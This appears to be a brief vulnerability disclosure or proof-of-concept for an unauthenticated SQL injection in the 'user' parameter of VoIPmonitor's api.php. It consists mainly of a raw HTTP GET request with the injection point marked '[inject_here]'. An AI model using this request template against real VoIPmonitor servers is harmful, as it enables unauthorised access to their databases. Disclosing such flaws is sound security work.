sql injection on user parameter. since, api.php file doesnt need any authentication attacker can exploit this vulnerability without any valid session or credentials.
GET /voipmonitorpath/api.php?action=login&user=[inject_here]&pass=trollz HTTP/1.1
Host: vulnerableinstance
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8